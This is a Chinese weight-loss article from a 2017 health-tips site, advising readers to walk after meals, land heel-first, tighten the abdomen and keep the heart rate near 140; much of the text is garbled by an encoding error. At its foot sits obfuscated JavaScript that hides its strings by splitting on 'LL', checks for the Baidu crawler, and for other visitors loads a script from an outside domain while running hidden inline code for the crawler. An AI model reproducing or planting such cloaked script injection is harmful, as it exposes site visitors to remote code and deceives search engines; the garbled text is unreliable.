當(dāng)前位置:首頁(yè) > 減肥 > 運(yùn)動(dòng)減肥 > 正文

怎么走路可以減肥

2017-06-11 10:55:16  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):走路減肥是很不錯(cuò)的??梢允窃陲埡笞咭蛔呗?,時(shí)間是飯后半個(gè)小時(shí)左右。要注意,有很大一部分肚子大的人都是因?yàn)轱埡笞蛘咛芍?,沒(méi)有及時(shí)

走路減肥是很不錯(cuò)的。可以是在飯后走一走路,時(shí)間是飯后半個(gè)小時(shí)左右。要注意,有很大一部分肚子大的人都是因?yàn)轱埡笞蛘咛芍?,沒(méi)有及時(shí)的走路而最終肚子變大。飯后走路可以有效的避免脂肪在腹部堆積,從而能減去下肚腩哦。但是要注意,在睡覺(jué)之前2個(gè)消失內(nèi)是最好不要走太多路,否則會(huì)影響睡眠。

走路時(shí)腳跟先著地,可避免重心落在小腿肚,避免水腫??绮綍r(shí),腳跟先著地,重心完全轉(zhuǎn)移到前腳,另一只腳再抬起,較不易水腫。上樓梯時(shí),視階梯高度,可一次跨兩階,能拉緊臀腿肌肉。跨上階梯時(shí),腳跟先著地,可避免重心只落在小腿肚,造成蘿卜腿。側(cè)背包包時(shí),左腿前、右腿后,可稍拉開(kāi)兩腿距離。身體下蹲時(shí),右小腿盡可能接近地面,左腿盡量呈直角,會(huì)感覺(jué)左大腿和右小腿有點(diǎn)酸,建議下蹲、站起共12次后,包包換邊背并換右腳在前,再重復(fù)動(dòng)作。

走路時(shí)應(yīng)習(xí)慣收小腹,收小腹時(shí)會(huì)自然提起臀部,可避免長(zhǎng)期下來(lái)腹部凸出、臀部下垂,身材曲線也漂亮。而常穿高跟鞋或習(xí)慣踮腳,重心會(huì)落在小腿肚,容易造成水腫或蘿卜腿;所以當(dāng)腳步往前跨時(shí),應(yīng)讓腳跟先著地,即可避免小腿水腫。

如果是剛開(kāi)始做走路減肥運(yùn)動(dòng),那么走路的速度要適當(dāng)放慢一點(diǎn),在走路的時(shí)候要注意自己的心跳,一般是把自己的心率維持在每分鐘140左右最好。如果是步行的速度太快,很容易讓我們身體疲憊,而且走太快容易腳痛,影響減肥的積極性。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}